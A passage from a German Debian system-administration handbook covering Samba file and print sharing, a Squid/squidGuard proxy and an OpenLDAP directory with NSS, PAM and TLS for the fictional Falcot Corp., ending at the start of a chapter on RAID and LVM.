Das erste erforderliche Informationsteilstück ist der Name der Arbeitsgruppe, zu der der Samba-Server gehören wird (in unserem Fall lautet die Anwort FALCOTNET). Eine weitere Frage erkundigt sich danach, ob Passwörter verschlüsselt sein sollen. Die Antwort lautet, dass sie es sein sollten, da dies für die jüngsten Windows-Clients vorgeschrieben ist; außerdem erhöht dies die Sicherheit. Anderenfalls wäre es auch erforderlich, die Samba-Passwörter getrennt von den Unix-Passwörtern zu verwalten.

Das Paket schlägt auch vor, den WINS-Server mithilfe der Information, die vom DHCP-Daemon bereitgestellt wird, zu identifizieren. Die Falcot Corp. Administratoren haben diese Option abgelehnt, da sie beabsichtigen, den Samba-Server selbst als WINS-Server zu verwenden.

Die nächste Frage bezieht sich darauf, ob Server mit inetd oder als selbstständige Daemons gestartet werden sollen. Die Verwendung von inetd ist nur sinnvoll, wenn Samba selten benutzt wird; die Falcot Administratoren haben daher selbstständige Daemons ausgewählt.

Schließlich schlägt das Programm vor, eine Datei namens /var/lib/samba/passdb.tdb zum Abspeichern verschlüsselter Passwörter zu erstellen; dieser Option wurde zugestimmt, da diese Methode wesentlich effizienter ist als die übliche Textdatei /etc/samba/smbpasswd.

11.5.1.2. Von Hand konfigurieren

11.5.1.2.1. Änderungen in smb.conf

Aufgrund der Erfordernisse bei Falcot müssen weitere Optionen in der Konfigurationsdatei /etc/samba/smb.conf angepasst werden. Die folgenden Auszüge fassen die Änderungen zusammen, die im Abschnitt [global] vorgenommen wurden.

[global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET # server string is the equivalent of the NT Description field server string = %h server (Samba %v) # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. See # /usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/ServerType.html # in the samba-doc package for details. security = user # You may wish to use password encryption. See the section on # 'encrypt passwords' in the smb.conf(5) manpage before enabling. encrypt passwords = true # If you are using encrypted passwords, Samba will need to know what # password database type you are using. passdb backend = tdbsam guest [...] ########## Printing ########## # If you want to automatically load your printer list rather # than setting them up individually then you'll need this load printers = yes # lpr(ng) printing. You may wish to override the location of the # printcap file ; printing = bsd ; printcap name = /etc/printcap # CUPS printing. See also the cupsaddsmb(8) manpage in the # cups-client package. printing = cups printcap name = cups [...] ######## File sharing ######## # Name mangling options ; preserve case = yes ; short preserve case = yes unix charset=ISO8859-1

Zeigt an, dass Samba für das lokale Netzwerk als ein Netbios-Namensserver (WINS) dienen soll.

Dies ist die Standardeinstellung dieses Parameters; da er jedoch für die Samba-Konfiguration wesentlich ist, wird empfohlen, ihn ausdrücklich einzutragen. Jeder Benutzer muss sich vor dem Zugriff auf eine Freigabe authentifizieren.

Weist Samba an, alle lokalen Drucker, die in der CUPS-Konfiguration enthalten sind, freizugeben. Es ist dann immer noch möglich, den Zugriff auf diese Drucker durch das Hinzufügen entsprechender Abschnitte einzuschränken.

Gibt das verwendete Drucksystem vor; in diesem Fall CUPS.

Legt den Zeichensatz und die Zeichenkodierung, die für Dateinamen unter Linux verwendet werden, fest. Die Standardeinstellung ist UTF8 (Unicode).

11.5.1.2.2. Benutzer hinzufügen

Jeder Samba-Benutzer benötigt ein Konto auf dem Server; als erstes müssen die Unix-Konten erstellt, dann die Benutzer in Sambas Datenbank eingetragen werden. Der Unix-Schritt verläuft wie üblich (zum Beispiel unter Verwendung von adduser).

Das Hinzufügen eines bestehenden Benutzers zur Samba-Datenbank erfolgt durch den Befehl smbpasswd -a benutzer; dieser Befehl fragt interaktiv nach dem Passwort.

Ein Benutzer kann mit dem Befehl smbpasswd -x benutzer gelöscht werden. Auch ein Samba-Konto kann zeitweilig deaktiviert werden (mit smbpasswd -d benutzer) und später wieder reaktiviert (mit smbpasswd -e benutzer).

11.5.1.2.3. Umstellen auf Domain-Controller

Dieser Abschnitt beschreibt, wie die Falcot Administratoren einen Schritt weiter gingen, indem sie den Samba-Server in einen Domain-Controller umwandelten, der servergespeicherte Profile bereitstellt (die es Benutzern ermöglichen, ihre Arbeitsumgebung unabhängig von dem Rechner, über den sie sich verbinden, zu erreichen).

Zunächst fügten sie einige zusätzliche Anweisungen zum Abschnitt [global] der Konfigurationsdatei hinzu:

domain logons = yes preferred master = yes logon path = \\%L\profiles\%U logon script = scripts/logon.bat

Aktiviert das Leistungsmerkmal Domain-Controller.

Bezeichnet den Ort der Benutzerverzeichnisse. Diese sind auf einer speziellen Freigabe abgespeichert, wodurch das Aktivieren spezifischer Optionen möglich wird (insbesondere profile acls, eine Voraussetzung für die Kompatibilität mit Windows 2000, XP und Vista).

Bezeichnet das (nicht-interaktive) Batch-Skript, das bei jedem Sitzungsstart auf dem Windows-Client ausgeführt wird. In diesem Fall ist es /var/lib/samba/netlogon/scripts/logon.bat. Das Skript muss im DOS-Format stehen, bei dem die Zeilen durch ein Wagenrücklauf- und ein Zeilenvorschubzeichen getrennt sind; falls die Datei unter Linux erstellt wurde, kann sie mit dem Befehl unix2dos konvertiert werden.

Die in diesen Skripten am meisten benutzten Anweisungen ermöglichen die automatische Erstellung von Netzlaufwerken und das Synchronisieren der Systemzeit.

Example 11.28. Die Datei logon.bat

net time \\ARRAKIS /set /yes net use H: /home net use U: \\ARRAKIS\utils

Es wurden außerdem zwei zusätzliche Freigaben und die dazugehörigen Verzeichnisse erstellt:

[netlogon] comment = Network Logon Service path = /var/lib/samba/netlogon guest ok = yes writable = no share modes = no [profiles] comment = Profile Share path = /var/lib/samba/profiles read only = No profile acls = Yes

Dann müssen noch die Benutzerverzeichnisse aller Benutzer erstellt werden (als /var/lib/samba/profiles/benutzer), und jedes von ihnen muss dem passenden Benutzer gehören.

11.5.2. Samba-Client

Die Client-Merkmale in Samba ermöglichen es einem Linux-Rechner, auf Windows-Freigaben und freigegebene Rechner zuzugreifen. Die hierfür benötigten Programme befinden sich in den Paketen smbfs und smbclient.

11.5.2.1. Das Programm smbclient

Das Programm smbclient stellt Anfragen an SMB-Server. Es nimmt die Option -U benutzer entgegen, um sich mit dem Server unter einer bestimmten Identität zu verbinden. smbclient //server/freigabe greift interaktiv auf die Freigabe zu, in ähnlicher Weise wie der FTP-Client auf der Befehlszeile. smbclient -L server listet alle auf einem Server verfügbaren (und sichtbaren) Freigaben auf.

11.5.2.2. Windows-Freigaben einhängen

Der Befehl smbmount ermöglicht es, eine Windows-Freigabe in die Linux-Dateisystemhierarchie einzuhängen.

Example 11.29. Eine Windows-Freigabe einhängen

smbmount //arrakis/shared /shared -o credentials=/usr/local/etc/smb-credentials

Die Datei /usr/local/etc/smb-credentials (die nicht von Benutzern lesbar sein darf) hat das folgende Format:

username = benutzer password = passwort

Weitere Optionen können auf der Befehlszeile angegeben werden; sie sind auf der Handbuchseite smbmount(1) vollständig aufgelistet. Insbesondere zwei Optionen können interessant sein: uid und gid ermöglichen es, den Benutzer und die Gruppe der am Einhängepunkt verfügbaren Dateien einzustellen, um den Zugriff nicht auf den Administrator zu begrenzen.

Der Befehl smbumount hängt eine SMB-Freigabe aus.

ALTERNATIVE mount für eine Windows-Freigabe verwenden

Der Befehl mount selbst kann nicht mit CIFS umgehen; bei der Aufforderung, ein Dateisystem unbekannten Typs einzuhängen, versucht er jedoch, die Aufgabe an ein mount.typ zu delegieren. Da das Paket smbfs einen Befehl mount.cifs bereitstellt, ist es so möglich, eine Windows-Freigabe mit dem üblichen mount-Befehl einzuhängen:

mount -t cifs -o credentials=/usr/local/etc/smb-credentials //server/shared /shared

So ist es auch möglich, einen SMB-Einhängepunkt in der normalen /etc/fstab-Datei zu konfigurieren:

//server/shared /shared cifs credentials=/usr/local/etc/smb-credentials

11.5.2.3. Auf einem Netzwerkdrucker drucken

CUPS ist eine elegante Lösung, um von einem Linux-Arbeitsplatzrechner aus auf einem von einem Windows-Rechner freigegebenen Drucker zu drucken. Wenn das Paket smbclient installiert ist, ist es mit CUPS möglich, freigegebene Windows-Rechner automatisch zu installieren.

Dies sind die erforderlichen Schritte:

Gehen Sie zur CUPS-Konfigurierungsschnittstelle:

http://localhost:631/admin.

Klicken Sie auf „Hinzufügen“, und geben Sie die für diesen Drucker passenden Daten ein.

Bei der Auswahl des Druckgeräts nehmen Sie „Windows-Printer via SAMBA“.

Die URI, die den Drucker bezeichnet, sieht folgendermaßen aus:

smb://benutzer:passwort@server/drucker.

Voilà, der Drucker ist einsatzbereit!

11.6. HTTP/FTP-Proxy

Ein HTTP/FTP-Proxy agiert als Vermittler bei HTTP- und FTP-Verbindungen. Er erfüllt zwei Rollen:

Zwischenspeichern: Kopien kürzlich heruntergeladener Dokumente werden lokal gespeichert, wodurch mehrfaches Herunterladen vermieden wird.

Filter-Server: falls die Benutzung des Proxy vorgeschrieben ist (und ausgehende Verbindungen gesperrt werden, wenn sie nicht über den Proxy laufen), kann der Proxy bestimmen, ob die Anfrage erlaubt wird oder nicht.

Falcot Corp. hat Squid als ihren Proxy-Server ausgewählt.

11.6.1. Installieren

Das Debian-Paket squid enthält nur den modularen (zwischenspeichernden) Proxy. Das Paket squidguard muss zusätzlich installiert werden, um ihn zu einem Filter-Server zu machen. Zusätzlich stellt squid-cgi eine Anfrage- und Verwaltungsschnittstelle für einen Squid-Proxy bereit.

Vor dem Installieren sollte sichergestellt werden, dass das System seinen eigenen vollständigen Namen feststellen kann: der Befehl hostname -f muss einen vollqualifizierten Namen (einschließlich einer Domain) ergeben. Anderenfalls sollte die Datei /etc/hosts so editiert werden, dass sie den vollständigen Namen des Systems (zum Beispiel arrakis.falcot.com) enthält. Der vollständige Rechnername sollte vom Netz-Administrator bestätigt werden, um mögliche Namenskonflikte zu vermeiden.

11.6.2. Einen Cache konfigurieren

Das Aktivieren der Zwischenspeicherung des Servers geschieht einfach dadurch, dass die Konfigurationsdatei /etc/squid/squid.conf editiert und es so Rechnern des lokalen Netzwerks ermöglicht wird, Anfragen durch den Proxy zu leiten. Das folgende Beispiel zeigt die von den Falcot Corp. Administratoren vorgenommenen Veränderungen:

Example 11.30. Die Datei /etc/squid/squid.conf (Auszüge)

# GEBEN SIE HIER IHRE EIGENEN REGELN EIN, UM ZUGRIFF VON ALLEN CLIENTS ZU ERMÖGLICHEN # Beispiel-Regel, um Zugriff von Ihren lokalen Netzwerken zu ermöglichen. # Passen Sie sie an, so dass sie Ihre (internen) Netzwerke auflistet, von # denen aus das Browsen erlaubt sein soll. acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # Und schließlich verweigern Sie alle sonstigen Zugriffe auf diesen Proxy http_access deny all

11.6.3. Einen Filter konfigurieren

squid selbst führt die Filterung nicht durch; dieser Arbeitsgang wird an squidGuard delegiert. Ersteres muss dann so konfiguriert werden, dass es mit letzterem zusammenarbeitet. Hierzu wird folgende Anweisung zur Datei /etc/squid/squid.conf hinzugefügt:

redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

Das CGI-Programm /usr/lib/cgi-bin/squidGuard.cgi muss ebenfalls installiert werden, wobei die Datei /usr/share/doc/squidguard/examples/squidGuard.cgi.gz als Ausgangspunkt dient. In diesem Skript müssen die Variablen $proxy und $proxymaster angepasst werden (der Name des Proxy und die E-Mail-Adresse des Administrators). Die Variablen $image und $redirect sollten auf bestehende Abbilder zeigen, die die Ablehnung einer Anfrage darstellen.

Der Filter wird mit dem Befehl /etc/init.d/squid reload aktiviert. Da das Paket squidguard jedoch nicht standardmäßig Filterungen durchführt, ist es Aufgabe des Administrators, die Richtlinien festzulegen. Dies kann durch Anpassung der Datei /etc/squid/squidGuard.conf geschehen.

Die aktive Datenbank muss nach jeder Änderung der Konfigurationsdatei squidGuard (oder einer der Domain- beziehungsweise URL-Listen, die sich auf sie beziehen) mit dem Befehl update-squidguard aktualisiert werden. Die Syntax der Konfigurationsdatei ist auf der folgenden Website dokumentiert:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE DansGuardian

Das Paket dansguardian stellt eine Alternative zu squidguard dar. Dieses Programm verwaltet nicht einfach eine schwarze Liste verbotener URLs, sondern kann mithilfe des PICS-Systems (Platform for Internet Content Selection) den Inhalt einer Seite dynamisch analysieren, um zu entscheiden, ob sie zulässig ist.

11.7. LDAP-Verzeichnis

OpenLDAP ist eine Umsetzung des LDAP-Protokolls; mit anderen Worten, es ist eine Spezialdatenbank zum Speichern von Verzeichnissen. Im gebräuchlichsten Anwendungsfall macht die Verwendung eines LDAP-Servers es möglich, die Verwaltung von Benutzerkonten und der dazugehörigen Berechtigungen zusammenzufassen. Außerdem lässt sich eine LDAP-Datenbank leicht kopieren, wodurch die Einrichtung mehrerer synchronisierter LDAP-Server möglich wird. Wenn das Netzwerk und die Benutzerzahl schnell anwachsen, kann so die Arbeitslast auf mehrere Server verteilt werden.

LDAP-Daten sind strukturiert und hierarchisch. Die Struktur wird durch „Schemata“ festgelegt, die die Art der Objekte, die die Datenbank speichern kann, zusammen mit einer Liste all ihrer möglichen Attribute beschreiben. Die Syntax, die zum Verweis auf ein bestimmtes Objekt der Datenbank verwendet wird, basiert auf diesen Strukturen, wodurch sich ihre Komplexität erklärt.

11.7.1. Installieren

Das Paket slapd enthält den OpenLDAP-Server. Das Paket ldap-utils umfasst Befehlszeilen-Werkzeuge für die Zusammenarbeit mit LDAP-Servern.

Beim Installieren von slapd werden normalerweise einige debconf-Fragen gestellt; diese Konfigurierungsphase kann durch den Befehl dpkg-reconfigure slapd erneut erwirkt werden.

Konfigurierung des OpenLDAP-Servers auslassen? Natürlich nicht, wir wollen diesen Dienst konfigurieren.

DNS-Domain-Name: „falcot.com“.

Name der Organisation: „Falcot Corp.“.

Ein Verwaltungspasswort muss eingegeben werden.

Zu verwendendes Datenbank-Backend: „HDB“.

Möchten Sie, dass die Datenbank entfernt wird, wenn slapd gelöscht wird? Nein. Es wäre nicht sinnvoll, den Verlust der Datenbank im Falle eines Versehens zu riskieren.

Die alte Datenbank verschieben? Diese Frage wird nur gestellt, wenn die Konfigurierung vorgenommen wird, während eine Datenbank bereits existiert. Antworten Sie nur mit „ja“, wenn Sie tatsächlich wieder mit einer leeren Datenbank beginnen möchten, zum Beispiel, wenn Sie dpkg-reconfigure slapd unmittelbar nach der ersten Installierung ausführen.

Das LDAPv2-Protokoll erlauben? Nein, das macht keinen Sinn. Alle Programme, die wir verwenden werden, verstehen das LDAPv3-Protokoll.

ZURÜCK ZU DEN GRUNDLAGEN Das LDIF-Format

Eine LDIF-Datei (LDAP Data Interchange Format) ist eine übertragbare Textdatei, die den Inhalt einer LDAP-Datenbank (oder einen Teil davon) beschreibt; sie kann dazu verwendet werden, die Daten auf einen beliebigen anderen LDAP-Server einzuspeisen.

Eine minimale Datenbank ist jetzt konfiguriert, wie die folgende Anfrage zeigt:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope sub # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 3 # numEntries: 2

Die Anfrage ergibt zwei Objekte: die Organisation selbst und den verwaltenden Benutzer.

11.7.2. Das Verzeichnis ausfüllen

Da eine leere Datenbank nicht sehr nützlich ist, werden wir alle bestehenden Verzeichnisse in sie einspeisen; hierzu gehören die Benutzer-, Gruppen-, Dienst- und Host-Datenbanken.

Das Paket migrationtools stellt einen Satz von Skripten bereit, die dazu dienen, Daten aus den Standard-Unix-Verzeichnissen (/etc/passwd, /etc/group, /etc/services, /etc/hosts und so weiter) zu extrahieren, diese Daten zu konvertieren und sie in die LDAP-Datenbank einzuspeisen.

Nachdem das Paket installiert ist, muss die Datei /etc/migrationtools/migrate_common.ph editiert werden; die Optionen IGNORE_UID_BELOW and IGNORE_GID_BELOW müssen aktiviert werden (es genügt, das Kommentarzeichen zu entfernen).

Der tatsächliche Übertragungsvorgang wird mit dem Befehl migrate_all_online.sh folgendermaßen ausgeführt:

# cd /usr/share/migrationtools # LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

Das Skript migrate_all_online.sh stellt einige Fragen zur LDAP-Datenbank, auf die die Daten übertragen werden sollen. Table 11.1 fasst die Antworten zusammen, die im Fallbeispiel Falcot gegeben wurden.

Table 11.1. Antworten auf die vom Skript migrate_all_online.sh gestellten Fragen

Frage | Antwort
X.500 Benennungskontext | dc=falcot,dc=com
Hostname des LDAP-Servers | localhost
Manager-DN | cn=admin,dc=falcot,dc=com
Verbindungslegitimation | das Verwaltungspasswort
Ein DUAConfigProfil anlegen | nein

Wir haben bewusst die Übertragung der Datei /etc/aliases außerachtgelassen, da das von Debian bereitgestellte Standardschema nicht die Strukturen enthält, die dieses Skript zur Beschreibung der E-Mail-Aliasse verwendet. Falls wir diese Daten in das Verzeichnis integrieren möchten, müssen wir die Datei /etc/ldap/schema/misc.schema zum Standardschema hinzufügen.

HILFSPROGRAMM Ein LDAP-Verzeichnis durchsuchen

Das Programm luma (im gleichnamigen Paket) ist ein grafisches Hilfsprogramm, das es ermöglicht, eine LDAP-Datenbank zu durchsuchen und zu editieren. Es ist ein interessantes Programm, das einem Administrator einen guten Überblick über die hierarchische Struktur der LDAP-Daten gibt.

Beachten Sie auch die Verwendung der Option -c des Befehls ldapadd; diese Option bestimmt, dass der Verarbeitungsablauf im Falle eines Fehlers nicht abgebrochen wird. Die Verwendung dieser Option ist notwendig, da die Konvertierung der Datei /etc/services häufig einige Fehler hervorruft, die ohne Gefahr ignoriert werden können.

11.7.3. Konten mit LDAP verwalten

Jetzt, da die LDAP-Datenbank einige nützliche Informationen enthält, ist es an der Zeit diese Daten zu nutzen. Dieser Abschnitt richtet sein Augenmerk darauf, wie ein Linux-System so zu konfigurieren ist, dass die verschiedenen Systemverzeichnisse die LDAP-Datenbank benutzen.

11.7.3.1. NSS konfigurieren

Das NSS-System (Name Service Switch, siehe Seitenleiste WEITERE SCHRITTE NSS und Systemdatenbanken) ist ein modulares System, das Informationen für Systemverzeichnisse festlegen oder einholen kann. Um LDAP als Datenquelle für NSS verwenden zu können, muss das Paket libnss-ldap installiert werden. Bei seiner Installierung werden einige Fragen gestellt; die Antworten sind in Table 11.2 zusammengefasst.

Table 11.2. Das Paket libnss-ldap konfigurieren

Frage | Antwort
Uniform Resource Identifier des LDAP-Servers | ldap://ldap.falcot.com
Kennzeichnender Name der Suchbasis | dc=falcot,dc=com
Zu verwendende LDAP-Version | 3
Benötigt die LDAP-Datenbank eine Anmeldung? | nein
LDAP-Administratorkonto | cn=admin,dc=falcot,dc=com
Passwort des LDAP-Administratorkontos | das Verwaltungspasswort

Die Datei /etc/nsswitch.conf muss nun angepasst werden, um NSS so zu konfigurieren, dass es das neu installierte ldap-Modul benutzt.

Example 11.31. Die Datei /etc/nsswitch.conf

# /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc' and `info' packages installed, try: # `info libc "Name Service Switch"' for information about this file. passwd: ldap compat group: ldap compat shadow: ldap compat hosts: files dns ldap networks: ldap files protocols: ldap db files services: ldap db files ethers: ldap db files rpc: ldap db files netgroup: files

Das ldap-Modul wird normalerweise vor den anderen aufgenommen und wird daher zuerst abgefragt. Eine beachtenswerte Ausnahme stellt der hosts-Dienst dar, da zunächst der DNS befragt werden muss (um ldap.falcot.com aufzulösen), bevor mit dem LDAP-Server Verbindung aufgenommen werden kann. Ohne diese Ausnahme würde eine Anfrage nach einem Hostnamen an den LDAP-Server gerichtet; dies würde eine Namensauflösung für den LDAP-Server auslösen, und so weiter in einer unendlichen Schleife. Was die netgroup-Dienste angeht, so werden sie noch nicht vom LDAP-Modul gehandhabt.

Falls der LDAP-Server als maßgeblich angesehen werden soll (und die lokalen vom Modul files benutzten Dateien ignoriert werden sollen), können die Dienste mit der folgenden Syntax konfiguriert werden:

dienst: ldap [NOTFOUND=return] files.

Falls der gesuchte Eintrag in der LDAP-Datenbank nicht vorhanden ist, wird die Anfrage die Antwort „nicht vorhanden“ ergeben, selbst wenn er in einer der lokalen Dateien vorhanden ist; diese lokalen Dateien werden nur benutzt, wenn der LDAP-Service abgeschaltet ist.

11.7.3.2. PAM konfigurieren

Dieser Abschnitt beschreibt die Konfigurierung von PAM (siehe Seitenleiste HINTER DEN KULISSEN /etc/environment und /etc/default/locale), die es Anwendungen ermöglicht, die gegenüber der LDAP-Datenbank erforderlichen Authentifizierungen vorzunehmen.

VORSICHT Fehlerhafte Authentifizierung

Die Änderung der von verschiedenen Programmen verwendeten standardmäßigen PAM-Konfiguration ist ein heikler Vorgang. Ein Fehler kann zu einer fehlerhaften Authentifizierung führen, die das Anmelden verhindern kann. Eine gute Vorsichtsmaßnahme besteht daher darin, eine Root-Konsole offen zu halten. So können mit geringem Aufwand eventuell auftretende Konfigurierungsfehler behoben und Dienste neu gestartet werden.

Das LDAP-Modul für PAM wird von dem Paket libpam-ldap bereitgestellt. Beim Installieren dieses Pakets werden einige Fragen gestellt, die denen bei libnss-ldap ähnlich sind; einige Konfigurationsparameter (wie zum Beispiel die URI des LDAP-Servers) werden sogar mit dem Paket libnss-ldap gemeinsam benutzt. Die Antworten sind in Table 11.3 zusammengefasst.

Table 11.3. Konfigurierung von libpam-ldap

Frage | Antwort
Dem LDAP-Administrationskonto erlauben, sich wie lokales Root zu verhalten? | Ja. Dies ermöglicht es, den normalen passwd-Befehl zur Änderung von Passwörtern zu verwenden, die in der LDAP-Datenbank gespeichert sind.
Erfordert die LDAP-Datenbank eine Anmeldung? | nein
LDAP-Administratorkonto | cn=admin,dc=falcot,dc=com
Passwort des LDAP-Administratorkontos | das Verwaltungspasswort der LDAP-Datenbank

Durch das Installieren von libpam-ldap wird die standardmäßige PAM-Konfiguration, die in den Dateien /etc/pam.d/common-auth, /etc/pam.d/common-password und /etc/pam.d/common-account festgelegt ist, automatisch angepasst. Dieser Vorgang verwendet das spezielle Hilfsprogramm pam-auth-update (vom Paket libpam-runtime bereitgestellt). Dieses Programm kann auch vom Administrator eingesetzt werden, falls er PAM-Module aktivieren oder deaktivieren möchte.

11.7.3.3. LDAP-Datenaustausch absichern

Standardmäßig überträgt das LDAP-Protokoll im Klartext über das Netzwerk; dies gilt auch für die (verschlüsselten) Passwörter. Da die verschlüsselten Passwörter aus dem Netzwerk entnommen werden können, können sie anfällig für Wörterbuchangriffe sein. Dies kann durch den Einsatz einer zusätzlichen Verschlüsselungsschicht verhindert werden; die Aktivierung dieser Schicht ist das Thema dieses Abschnitts.

11.7.3.3.1. Den Server konfigurieren

Der erste Schritt besteht darin, für den LDAP-Server ein Schlüsselpaar (bestehend aus einem öffentlichen und einem privaten Schlüssel) zu erzeugen. Hierfür muss das Paket openssl installiert werden. Beim Aufruf von /usr/lib/ssl/misc/CA.pl -newcert werden einige banale Fragen gestellt (Ort, Name der Organisation und so weiter). Als Antwort auf die Frage nach dem gemeinsamen Namen muss der vollständig qualifizierte Hostname des LDAP-Servers angegeben werden; in unserem Fall ldap.falcot.com.

Dieser Befehl erstellt ein Zertifikat in der Datei newcert.pem; der dazugehörige private Schlüssel wird in der Datei newkey.pem abgespeichert.

Nun müssen diese Schlüssel an ihrem standardisierten Ort installiert werden:

# mv newkey.pem /etc/ssl/private/ldap-key.pem # chmod 0600 /etc/ssl/private/ldap-key.pem # mv newcert.pem /etc/ssl/certs/ldap-cert.pem

Dem Daemon slapd muss außerdem mitgeteilt werden, dass er diese Schlüssel für die Verschlüsselung verwenden soll; hierzu muss folgende Anweisung zur Datei /etc/ldap/slapd.conf hinzugefügt werden:

Example 11.32. slapd für eine Verschlüsselung konfigurieren

# TLS support TLSCipherSuite HIGH TLSCertificateFile /etc/ssl/certs/ldap-cert.pem TLSCertificateKeyFile /etc/ssl/private/ldap-key.pem

Der letzte Schritt zur Aktivierung der Verschlüsselung besteht darin, die Variable SLAPD_SERVICES in der Datei /etc/default/slapd zu ändern. Wir gehen dabei auf Nummer Sicher und deaktivieren nicht abgesichertes LDAP vollständig.

Example 11.33. Die Datei /etc/default/slapd

# Default location of the slapd.conf file SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER= # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP= # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf) SLAPD_PIDFILE= # Configure if the slurpd daemon should be started. Possible values: # - yes: Always start slurpd # - no: Never start slurpd # - auto: Start slurpd if a replica option is found in slapd.conf # (default) SLURPD_START=auto # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: SLAPD_SERVICES="ldaps:/// ldapi:///" # Additional options to pass to slapd and slurpd SLAPD_OPTIONS="" SLURPD_OPTIONS=""

11.7.3.3.2. Den Client konfigurieren

Auf der Client-Seite muss die Konfiguration der Module libpam-ldap und libnss-ldap angepasst werden, indem die Anweisung ssl on zu den Konfigurationsdateien /etc/pam_ldap.conf und /etc/libnss-ldap.conf hinzugefügt wird.

Damit LDAP-Clients in der Lage sind, den Server zu authentifizieren, müssen sie seinen öffentlichen Schlüssel kennen. Hierzu muss eine Kopie des Schlüssels (zum Beispiel als /etc/ssl/certs/ldap-cert.pem) installiert werden, und auf den Ort dieser Kopie in der Datei /etc/ldap/ldap.conf verwiesen werden.

Example 11.34. Die Datei /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. BASE dc=falcot,dc=com URI ldaps://ldap.falcot.com #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never TLS_CACERT /etc/ssl/certs/ldap-cert.pem

Dieses Kapitel hat nur einen Bruchteil der verfügbaren Serversoftware dargestellt; jedoch wurden die meisten der üblichen Netzwerkdienste beschrieben. Jetzt ist es Zeit für ein noch technischeres Kapitel: wir werden tiefer in die Einzelheiten einiger Konzepte eindringen, sowie Masseneinsätze und Virtualisierungen beschreiben.

Chapter 12. Weitergehende Verwaltung

Dieses Kapitel greift noch einmal einige Aspekte, die wir bereits beschrieben haben, aus einer anderen Perspektive auf: anstatt einen einzelnen Rechner zu installieren, werden wir Systeme für den Masseneinsatz untersuchen; anstatt RAID- oder LVM-Volumes während der Installierung zu erstellen, lernen wir, dies von Hand zu tun, so dass wir später unsere ursprünglichen Entscheidungen revidieren können. Schließlich werden wir Überwachungsprogramme und Virtualisierungstechniken besprechen. Daher richtet sich dieses Kapitel in erster Linie an professionelle Administratoren und weniger an Einzelpersonen, die für ihr Heimnetzwerk zuständig sind.

12.1. RAID und LVM

Chapter 4, Installation hat diese Techniken aus der Sicht des Installationsprogramms dargestellt und wie es sie so integriert, dass ihr Einsatz von Beginn an einfach ist. Nach der anfänglichen Installation muss ein Administrator in der Lage sein, neu auftretendem Bedarf an Speicherplatz zu begegnen, ohne auf eine aufwändige Neuinstallation zurückgreifen zu müssen. Er muss daher die Hilfsprogramme zur Handhabung von RAID- und LVM-Volumes beherrschen.

Sowohl RAID als auch LVM sind Verfahren, um die eingehängten Speicherbereiche von ihren physischen Entsprechungen (Festplatten oder ihre Partitionen) zu lösen, wobei ersteres die Daten durch redundante Speicherung sichert und letzteres die Datenverwaltung flexibler und unabhängig von der tatsächlichen Größe der zugrunde liegenden Speicherplatten macht. In beiden Fällen führt dies zu einem System mit neuen Blockgeräten, die zur Erstellung von Dateisystemen oder Auslagerungsspeicher verwendet werden können, ohne diese notwendigerweise einer physischen Speicherplatte zuordnen zu müssen. RAID und LVM haben recht unterschiedliche Ursprünge, ihre Funktionsweise überschneidet sich jedoch teilweise, weshalb sie häufig gemeinsam erwähnt werden.

AUSBLICK Btrfs vereint LVM und RAID

Während LVM und RAID zwei unterschiedliche Subsysteme des Kernels sind, die zwischen den Blockgeräten und ihren Dateisystemen liegen, ist btrfs ein neues Dateisystem, das ursprünglich bei Oracle entwickelt wurde und darauf abzielt, die Funktionen von LVM und RAID und noch vieles mehr zu vereinen. Es ist weitgehend funktionsfähig, wird aber noch als „experimentell“ bezeichnet, da seine Entwicklung noch nicht abgeschlossen ist (einige Funktionsmerkmale sind noch nicht umgesetzt).

→ http://btrfs.wiki.kernel.org/

Zu den erwähnenswerten Funktionsmerkmalen gehört die Fähigkeit, zu jedem beliebigen Zeitpunkt einen Schnappschuss des Dateisystembaums festhalten zu können. Das Abbild des Schnappschusses nimmt anfangs keinen Speicherplatz ein, da Daten nur kopiert werden, wenn etwas verändert wird. Das Dateisystem kann auch Dateien transparent komprimieren, und Prüfsummen gewährleisten die Integrität aller gespeicherten Daten.

Sowohl bei RAID als auch bei LVM stellt der Kernel eine Gerätedatei bereit in ähnlicher Weise, wie bei denen, die sich auf ein Festplattenlaufwerk oder eine Partition beziehen. Wenn eine Anwendung oder ein anderer Teil des Kernels auf einen Block eines derartigen Geräts zugreifen muss, lenkt das entsprechende Subsystem den Block zu der entsprechenden physischen Ebene. Je nach Konfiguration kann dieser Block auf einer oder mehreren physischen Platten gespeichert sein, wobei sein physischer Ort nicht unbedingt direkt dem Ort des Blocks in dem logischen Gerät entspricht.

12.1.1. Software-RAID

